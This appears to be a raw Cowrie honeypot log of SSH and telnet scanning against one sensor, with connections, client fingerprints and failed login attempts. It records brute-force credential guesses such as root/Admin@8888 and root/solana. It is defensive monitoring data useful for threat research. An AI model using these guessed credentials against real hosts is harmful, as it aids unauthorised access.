{"eventid":"cowrie.login.failed","username":"user","password":"18031984","message":"login attempt [user/18031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:23.794310Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18031978","message":"login attempt [user/18031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:24.901501Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17931793","message":"login attempt [user/17931793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:26.009736Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:27.117689Z","src_ip":"2.57.121.25","session":"231fc7e2766d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01289677619934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:38.890266Z","src_ip":"212.55.149.117","session":"6b7a3e41ba61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.93828368186951,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:15:42.748591Z","src_ip":"212.55.149.117","session":"12c2ae71d409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":37030,"dst_ip":"10.17.0.5","dst_port":23,"session":"67dd6531cb18","protocol":"telnet","message":"New connection: 176.65.149.254:37030 (10.17.0.5:23) [session: 67dd6531cb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:16:43.804194Z"}
{"eventid":"cowrie.session.closed","duration":120.00334358215332,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:16:50.849941Z","src_ip":"212.55.149.117","session":"737887d8e105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49476,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ed8f39f1a4","protocol":"ssh","message":"New connection: 193.32.162.145:49476 (10.17.0.5:22) [session: 26ed8f39f1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:07.676447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:07.681696Z","src_ip":"193.32.162.145","session":"26ed8f39f1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:07.788503Z","src_ip":"193.32.162.145","session":"26ed8f39f1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:08.109296Z","src_ip":"193.32.162.145","session":"26ed8f39f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:09.217096Z","src_ip":"193.32.162.145","session":"26ed8f39f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.837546825408936,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:13.641566Z","src_ip":"176.65.149.254","session":"67dd6531cb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":32786,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3fed82e031","protocol":"ssh","message":"New connection: 103.15.226.202:32786 (10.17.0.5:22) [session: ef3fed82e031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:55.135152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:55.139961Z","src_ip":"103.15.226.202","session":"ef3fed82e031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:55.384645Z","src_ip":"103.15.226.202","session":"ef3fed82e031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@8888","message":"login attempt [root/Admin@8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:56.116317Z","src_ip":"103.15.226.202","session":"ef3fed82e031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:17:57.363259Z","src_ip":"103.15.226.202","session":"ef3fed82e031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":24998,"dst_ip":"159.203.135.109","dst_port":22,"session":"715570ba9010","protocol":"ssh","message":"New connection: 193.24.211.100:24998 (159.203.135.109:22) [session: 715570ba9010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:18:21.813986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:18:21.820340Z","src_ip":"193.24.211.100","session":"715570ba9010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:18:21.924370Z","src_ip":"193.24.211.100","session":"715570ba9010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yankees","message":"login attempt [root/yankees] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:18:22.437865Z","src_ip":"193.24.211.100","session":"715570ba9010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:18:23.549476Z","src_ip":"193.24.211.100","session":"715570ba9010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40876,"dst_ip":"10.17.0.5","dst_port":22,"session":"603357cd9428","protocol":"ssh","message":"New connection: 193.32.162.145:40876 (10.17.0.5:22) [session: 603357cd9428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:19.800921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:19.805876Z","src_ip":"193.32.162.145","session":"603357cd9428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:19.909812Z","src_ip":"193.32.162.145","session":"603357cd9428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:20.224934Z","src_ip":"193.32.162.145","session":"603357cd9428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:21.331750Z","src_ip":"193.32.162.145","session":"603357cd9428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7976,"dst_ip":"10.17.0.5","dst_port":23,"session":"67322602df8f","protocol":"telnet","message":"New connection: 212.55.149.117:7976 (10.17.0.5:23) [session: 67322602df8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:19:46.976740Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.147","src_port":61594,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e206980a4bc","protocol":"ssh","message":"New connection: 205.210.31.147:61594 (10.17.0.5:22) [session: 4e206980a4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:20:59.387827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:00.188901Z","src_ip":"205.210.31.147","session":"4e206980a4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:01.243148Z","src_ip":"205.210.31.147","session":"4e206980a4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:09.595294Z","src_ip":"205.210.31.147","session":"4e206980a4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.184.96","src_port":36940,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81d36971d93","protocol":"ssh","message":"New connection: 91.208.184.96:36940 (10.17.0.5:22) [session: b81d36971d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.087333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.091943Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.225520Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:33:d1:0e:cc:39:da:9c:f9:e2:1a:ba:2a:ee:17:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPJPKZMuHDQA9zUVS4W1Rbtef3NMV6B2ikH9BK3eYmIgzCoSuoolM/1Z5Faq1hsRPt7hTmESt52Nv9ZqL0ayRFlvi8x2MQDvghLYisvZilUVLsFVjD4L52EefhxzlGXwF2kOQMEJmt8L/Lw+kEWUCOxqsAHb2cHmxCajPVxYeD1mvIld2g0JjNdH47n91BJdaBYQok6Y54JzdFRKwZQ5A9YkFxu1cCoJY4a//UmPcsis4QImcX73C4GTDQik7XmZ/Qy4+qx3tMJAQE30pOTr/Y41/0oEn3QunhTxJTQXF6g8/+2iiUPMYzNhB3R+OwnFUm4r+n7zqLUlDQWMRaHqlz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:33:d1:0e:cc:39:da:9c:f9:e2:1a:ba:2a:ee:17:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.851591Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:33:d1:0e:cc:39:da:9c:f9:e2:1a:ba:2a:ee:17:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPJPKZMuHDQA9zUVS4W1Rbtef3NMV6B2ikH9BK3eYmIgzCoSuoolM/1Z5Faq1hsRPt7hTmESt52Nv9ZqL0ayRFlvi8x2MQDvghLYisvZilUVLsFVjD4L52EefhxzlGXwF2kOQMEJmt8L/Lw+kEWUCOxqsAHb2cHmxCajPVxYeD1mvIld2g0JjNdH47n91BJdaBYQok6Y54JzdFRKwZQ5A9YkFxu1cCoJY4a//UmPcsis4QImcX73C4GTDQik7XmZ/Qy4+qx3tMJAQE30pOTr/Y41/0oEn3QunhTxJTQXF6g8/+2iiUPMYzNhB3R+OwnFUm4r+n7zqLUlDQWMRaHqlz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.855563Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:ac:c2:7f:3f:82:43:b6:6c:67:56:03:47:32:40:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRLiy2Sj9RbFi0hdhN4vJ+OGpxXpotkVjJhj4xjDBhTWnDucnzyANPIWUjfzx04m1iNCEX0dfduKByakEPjsO62F2XJCzO2K2oqWVum2pYdzpRcfYK7vELJ3If7/BL/AU2UYnUqTGzv2qTECKMZM9BmIixczYKCQ+ODB4BkyQUULAH5Vyc7Q3Ghdb3tLIc8JSj2xUw8CntADgzutITFGyCTP+OOJJE2UVlvE0D3YrMINczmZb/mqafGPt6FFy62ZUcNj4C2tiDMl90gwibS89Iru/uBsYCxiAVSKr0b5AaBOy5djVIc+mJxwb1k+nFm3QTd9+9Nfd2B9XYA9RJHoWtaKGIbFSPYTfy7tqzOKNqlxWuZvc32dDPIq1f5PH0jpKKKG6pGFATOwAPxSqHzo4xn3jCylhOb6Z0guwMikzn54rF/7zn286TFAr6TCdUMopc3I9/sQmO+c8PrwzVD3Z331Zj3omj84JTF/dY0pZlMLQxB+32swnUxGOxu0R7dK0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:ac:c2:7f:3f:82:43:b6:6c:67:56:03:47:32:40:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.985289Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
